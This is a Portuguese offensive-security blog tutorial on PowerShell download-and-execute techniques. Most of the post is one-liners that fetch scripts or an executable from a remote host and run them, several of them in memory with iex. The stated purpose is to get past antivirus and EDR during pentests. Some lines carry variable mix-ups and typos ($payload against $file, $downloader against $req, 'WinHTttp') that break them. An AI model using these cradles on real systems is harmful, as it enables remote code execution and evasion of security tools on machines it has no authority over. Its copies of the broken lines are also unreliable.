Powershell Download & Execute
- Gustavo Viana
- Programação , Segurança ofensiva , Windows
- 25 de setembro de 2022
Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades? Este tutorial visa fornecer métodos simples e rápidos de realizar download utilizando Powershell e como carregar scripts Powershell em memória.
O Powershell é uma ferramenta poderosa usada por muitos administradores de sistemas para automatizar tarefas e gerenciar sistemas Windows. Porém, a mesma funcionalidade que torna o Powershell tão útil também pode ser explorada por criminosos cibernéticos. Uma técnica que tem sido usada com frequência é o carregamento de script em memória, que envolve o download de um script malicioso e sua execução em um sistema comprometido.
Carregar script .ps1 em memória
Primeiramente vamos ver alguns métodos para carregar scripts .ps1 em memória. Esta técnica é extremamente útil quando estamos lidando com algum antivírus ou EDR durante nosso pentest.
WebClient.DownloadString
Utilização básica
iex (new-object Net.Webclient).DownloadString("http://192.168.13.37/script.ps1")
powershell.exe iex (new-object Net.Webclient).DownloadString('http://192.168.13.37//script.ps1')
Adicionando User Agent na request
$cli= New-Object System.Net.WebClient; $cli.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"); $file = "http://192.168.13.37/script.ps1"; $cmd= $cli.DownloadString($payload); iex $cmd
Net.WebRequest
$req = [System.Net.WebRequest]::Create("http://192.168.13.37/script.ps1"); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()
System.Xml.XmlDocument
Para utilizar este método se faz necessário um arquivo XML com o comando a ser executado. Neste caso estamos executando o comando $env:computername, que retorna o hostname da máquina:
<command>
<cmd>
<execute>$env:computername</execute>
</cmd>
</command>
Em seguida, basta executar o comando abaixo na máquina Windows:
$remotexml = New-Object System.Xml.XmlDocument;$remotexml.Load("http://192.168.13.37/arquivo.xml");iex $remotexml.command.cmd.execute
Msxml2.XMLHTTP
$req = New-Object -ComObject Msxml2.XMLHTTP;$downloader.open("GET", "http://192.168.13.37/script.ps1", $false);$req.send();iex $req.responseText
WinHttp.WinHttpRequest.5.1
$req = New-Object -ComObject WinHTttp.WinHttpRequest.5.1; $req.open("GET", "http://192.168.0.96/script.ps1", $false); $req.send(); iex $downloader.responseText
Realizar Download para o disco
Os métodos abaixo realizam o download do arquivo/script desejado para o disco e em seguida executam o mesmo:
System.Net.Webclient DownloadFile
(new-object System.Net.Webclient).DownloadFile("http://192.168.13.37/script.ps1", "script.ps1"); .\script.ps1
$cli = New-Object System.Net.WebClient;$payload = "https://192.168.0.96/arquivo.exe";$out = "C:\windows\temp\arquivo.exe";$cmd = $cli.DownloadFile($payload, $file);& $file
Invoke-WebRequest
Invoke-WebRequest -Uri http://192.168.13.37/script.ps1 -OutFile script.ps1; .\script.ps1
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !